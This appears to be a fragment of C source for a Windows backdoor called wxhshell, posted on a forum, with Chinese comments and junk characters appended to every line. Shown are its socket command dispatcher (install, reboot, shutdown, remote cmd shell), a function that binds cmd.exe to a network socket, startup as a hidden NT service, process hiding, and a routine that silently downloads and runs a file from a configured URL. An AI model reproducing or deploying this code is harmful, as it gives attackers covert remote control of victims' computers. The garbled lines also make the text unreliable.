  else { {V%%^Zhwy  
Q+N7:o!;<b  
    switch(cmd[0]) { y#Mc4?  
  T3G/v)ufd  
  // 帮助 j$|j8?  
  case '?': { qP;{3FSkAF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o0aO0Y  
    break; *X=@yB*aK  
  } L,L ~ .E  
  // 安装 r;cI}'  
  case 'i': { m6_~`)R8  
    if(Install()) #}/cM2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QDjW!BsX3  
    else q'%[[<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Yu<%  
    break; _Sly7_  
    } 0+K`pS'  
  // 卸载 v7o?GQ75  
  case 'r': { I 9{40_  
    if(Uninstall()) A;fB6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -YzQ2#K  
    else l$k]O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vLv|SqD  
    break; yN9$gfJC^  
    } <OR.q  
  // 显示 wxhshell 所在路径 `W"a! ,s2  
  case 'p': { K2x6R  
    char svExeFile[MAX_PATH]; d,Cz-.'sOf  
    strcpy(svExeFile,"\n\r"); 0a2$P+p  
      strcat(svExeFile,ExeFile); &TP:yA[  
        send(wsh,svExeFile,strlen(svExeFile),0); ch0oFc$  
    break; :(bdI]  
    } 3{Na ZIk  
  // 重启 DA+A >5/  
  case 'b': { ZL4l (&"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n0+g]|a AF  
    if(Boot(REBOOT)) g[#k.CuP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'DCKD4@C/  
    else { }b_R5U$@@  
    closesocket(wsh); lfxuc7Rdla  
    ExitThread(0); Bmx(qE  
    } <=;H[} e  
    break; ,] ~u:Y}  
    } bGZ hUEq  
  // 关机 C1X}3bB  
  case 'd': { d98))G~W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r/mA2  
    if(Boot(SHUTDOWN)) a&$Zpf!!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =@xN(] (  
    else { J 6(~>g  
    closesocket(wsh); l5FuMk-  
    ExitThread(0); K-2.E  
    } BW'L.*2  
    break; wXr>p)mP  
    } aL8p"iSG9  
  // 获取shell zyaW3th  
  case 's': { c=b+g+*xd  
    CmdShell(wsh); "bD+/\ z  
    closesocket(wsh); @T<ad7g-2J  
    ExitThread(0); A#v|@sul  
    break; q%OcLZ<,  
  } - *:p.(c  
  // 退出 5~@?>)TBv  
  case 'x': { %/UV_@x&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  EX[B/YH  
    CloseIt(wsh); 4=u+ozCG  
    break; '8s>rH5[V  
    } +mJ :PAy4  
  // 离开 = E&b=  
  case 'q': { zWy ,Om8P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); If~95fy~c  
    closesocket(wsh); W3 De|V^  
    WSACleanup(); kcLj Kp  
    exit(1); ooTc/QEYi  
    break; #,@bxsB  
        } tl DY k  
  } 6yE'/VB<  
  } ;$vLq&(}  
}czsa_  
  // 提示信息 L/Hv4={  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "/Y<G  
} 9.xvV|Sp  
  } Z8&4z.6_  
WHp97S'd  
  return; MQwIPjk8  
} ^ Xm/  
M0RRmW@f.a  
// shell模块句柄 tS?a){^:c  
int CmdShell(SOCKET sock) t";{1.  
{ 2ubmsbt$  
STARTUPINFO si; {bT9VZ>  
ZeroMemory(&si,sizeof(si)); j3 6,w[Y:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <v]z6B@9!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J5O.*&  
PROCESS_INFORMATION ProcessInfo; ID)^vwn  
char cmdline[]="cmd"; gh TcB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8jRs =I  
  return 0; /r276Q  
} -7k[Vg?  
DeH0k[o  
// 自身启动模式 ^uia`sOP4  
int StartFromService(void) a*D,*C5}  
{ v9u<F6  
typedef struct ERF,tLa!  
{ w'A tf  
  DWORD ExitStatus; ar Q)%W  
  DWORD PebBaseAddress; %Nj #0YF]  
  DWORD AffinityMask; QS^~77q  
  DWORD BasePriority; BU!#z(vU  
  ULONG UniqueProcessId; J5;5-:N  
  ULONG InheritedFromUniqueProcessId; xZX`%f-  
}   PROCESS_BASIC_INFORMATION; W$r^  
@cZ\*,T  
PROCNTQSIP NtQueryInformationProcess; fb23J|"  
t\zbEN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u+m4!`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m d?b*  
eI^gV'UK  
  HANDLE             hProcess; 0mTEim  
  PROCESS_BASIC_INFORMATION pbi; jO=*:{#x  
wtSvJI~o)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dv@ PAnk3C  
  if(NULL == hInst ) return 0; {-HDkG' 8  
0E-pA3M6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kQLT$8io  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [9OSpq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dzr e'  
!n eo\  
  if (!NtQueryInformationProcess) return 0; s _~IZ%+<.  
A#(`9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ur6e&bTp  
  if(!hProcess) return 0; #,&8&  
_w z2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J_PH7Z*=,  
E tx`K5Tr]  
  CloseHandle(hProcess); #1[z;Mk0  
*<IR9.~{6%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tr%FUi  
if(hProcess==NULL) return 0; I+|uU g5  
]KWK}Zyi  
HMODULE hMod; /Pk:4,  
char procName[255]; O=aw^|oj]  
unsigned long cbNeeded; +i.u< T  
r!kLV)_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MWs~#ReZ  
hk_g2g  
  CloseHandle(hProcess); oSY7IIf%L  
-(9O6)Rs$  
if(strstr(procName,"services")) return 1; // 以服务启动 7Lg7ei2mN7  
} Gr&w-v  
  return 0; // 注册表启动 d`Oe_<  
} xIL#h@dz  
0Gsu  
// 主模块 i6Qb[\;  
int StartWxhshell(LPSTR lpCmdLine) T#@{G,N  
{ 4z_n4=  
  SOCKET wsl; F.?01,J=1  
BOOL val=TRUE; b/u8} J  
  int port=0; J=iRul^S  
  struct sockaddr_in door; 89Z#|#uM5  
d; =u  
  if(wscfg.ws_autoins) Install(); !^iwQ55e2A  
qfYG.~`5  
port=atoi(lpCmdLine); =u=Kw R  
u]M\3V.  
if(port<=0) port=wscfg.ws_port; 99u/fkL  
.x-J44i@/  
  WSADATA data; &yU>2=/T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IP ,.+:i  
Blk}I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6\n?4 8x}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zTY;8r+  
  door.sin_family = AF_INET; mj2Pk,,SA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nqc p1J"  
  door.sin_port = htons(port); z)}!e,7  
ETfF5i}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <6jFKA<  
closesocket(wsl); CZ(`|;BC*  
return 1; k!3 cq)  
} GoIQ>n  
O~PChUU*Y  
  if(listen(wsl,2) == INVALID_SOCKET) { . I==-|  
closesocket(wsl); Vb!O8xV4;+  
return 1; ?3q@f\fZ  
} M'2r@NR8  
  Wxhshell(wsl); aQUGNa0+d  
  WSACleanup(); pOA!#Aj)  
BpH%STEN  
return 0; VEs5;]#<2D  
G\=_e8(  
} Kkv<"^H  
Z\ )C_p\-  
// 以NT服务方式启动 %;|0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d1]i,C~Y  
{ H0>yi[2f  
DWORD   status = 0; f~ZEdq8  
  DWORD   specificError = 0xfffffff; hw=GR_,  
0V`[Zgf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dv!r.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,j178EX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @AQwr#R"l  
  serviceStatus.dwWin32ExitCode     = 0; bL1m'^r  
  serviceStatus.dwServiceSpecificExitCode = 0; VagT_D  
  serviceStatus.dwCheckPoint       = 0; zN!j%T.e  
  serviceStatus.dwWaitHint       = 0; BStk&b  
kOjf #@c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lm6**v  
  if (hServiceStatusHandle==0) return; u =J&~  
~L{l+jK$p  
status = GetLastError(); 5 1dSFr<#  
  if (status!=NO_ERROR) `1+F,&e  
{ 0L#/lDNk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2K{6iw"h  
    serviceStatus.dwCheckPoint       = 0; uMmXs% 9T  
    serviceStatus.dwWaitHint       = 0; <f>akT,W  
    serviceStatus.dwWin32ExitCode     = status; M%`\P\A  
    serviceStatus.dwServiceSpecificExitCode = specificError; dRaOGm)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 41V e}%  
    return; 38IMxd9v  
  } &<]<a_pw  
:iPy m}CE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )9L/sKz  
  serviceStatus.dwCheckPoint       = 0; 2k5/SV X  
  serviceStatus.dwWaitHint       = 0; $yu?.b 9H#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ub K7B |p  
} Eu,`7iQ?(  
NM#- Af*pg  
// 处理NT服务事件,比如:启动、停止 nxo+?:**  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gfgn68k  
{ L{&U V0q!  
switch(fdwControl) BVpO#c~I  
{ MX|H}+\  
case SERVICE_CONTROL_STOP: 9Q.#\  
  serviceStatus.dwWin32ExitCode = 0; 'V&Y[7Aeq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KbW9s,:p  
  serviceStatus.dwCheckPoint   = 0; ST dNM\+  
  serviceStatus.dwWaitHint     = 0; ~Z)/RT/  
  { =L]Q2V}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !{%&=tIZ  
  } !3 qVB  
  return; =#xK=pRy;  
case SERVICE_CONTROL_PAUSE: '0Q,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  QLKK.]  
  break; HM9fjl[  
case SERVICE_CONTROL_CONTINUE: ej(ikj~j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~E5z"o6$  
  break; D Ml?o:l  
case SERVICE_CONTROL_INTERROGATE: 3n;K!L%zMT  
  break; pv,45z0  
}; 5h{`<W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7h9U{4r: M  
} 19UN*g3(  
u bW]-U=T  
// 标准应用程序主函数 xTz%nx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W!L+(!&H  
{ I]`-|Q E  
gVR@&bi7  
// 获取操作系统版本 mY7>(M{  
OsIsNt=GetOsVer(); qxOi>v0\H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0JjUAxNq  
v6=-g$FG  
  // 从命令行安装 R[B?C;+(O  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dt|)=a  
EHf\L  
  // 下载执行文件 `'S0*kMT  
if(wscfg.ws_downexe) { 9 ; i\g=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cb;WZ3HR  
  WinExec(wscfg.ws_filenam,SW_HIDE); %;xOB^H^  
} ~@W*r5/  
Kg\R+i@#<  
if(!OsIsNt) { K }$&:nao  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Q5^C!K  
HideProc(); !ZXUPH  
StartWxhshell(lpCmdLine); pv)`%<  
} #I*QX%(H#  
else TFQ!7'xk)  
  if(StartFromService()) /8'S1!zc  
  // 以服务方式启动 5 `/< v^  
  StartServiceCtrlDispatcher(DispatchTable); rf &M!d}!  
else %3r:s`{  
  // 普通方式启动 KKe8 ly,  
  StartWxhshell(lpCmdLine); "tk-w{>  
;3eKqr0  
return 0; }f}}A=  
}
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只看该作者 1 发表于: 2006-10-10
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